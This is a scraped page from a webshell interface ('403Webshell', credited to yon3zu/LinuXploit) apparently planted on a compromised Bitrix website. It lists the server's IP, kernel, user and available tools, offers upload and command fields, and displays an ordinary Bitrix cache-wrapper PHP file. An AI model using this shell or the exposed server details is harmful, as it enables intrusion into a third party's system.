403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/b24connector/lib/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/b24connector/lib/cache.php
<?php

namespace Bitrix\B24Connector;

use Bitrix\Main\Application;

/**
 * Simple wrapper around data cache
 * @internal
 * @package Bitrix\B24Connector
 */
final class Cache
{
	const CACHE_ROOT = '/b24connector';

	/**
	 * Returns data from cache if it's valid. Stores data returned by $callback in cache and returns them otherwise.
	 * @param string $cacheId
	 * @param int $ttl
	 * @param callable $callback
	 * @return mixed
	 */
	public static function remember(string $cacheId, int $ttl, callable $callback)
	{
		$cachePath = self::CACHE_ROOT . '/' . $cacheId;
		$manager = Application::getInstance()->getCache();
		if ($manager->initCache($ttl, $cacheId, $cachePath))
		{
			$cached = $manager->getVars();
			return $cached['PROXY'];
		}
		else
		{
			$result = $callback();
			$manager->startDataCache();
			$manager->endDataCache(['PROXY' => $result]);
			return $result;
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit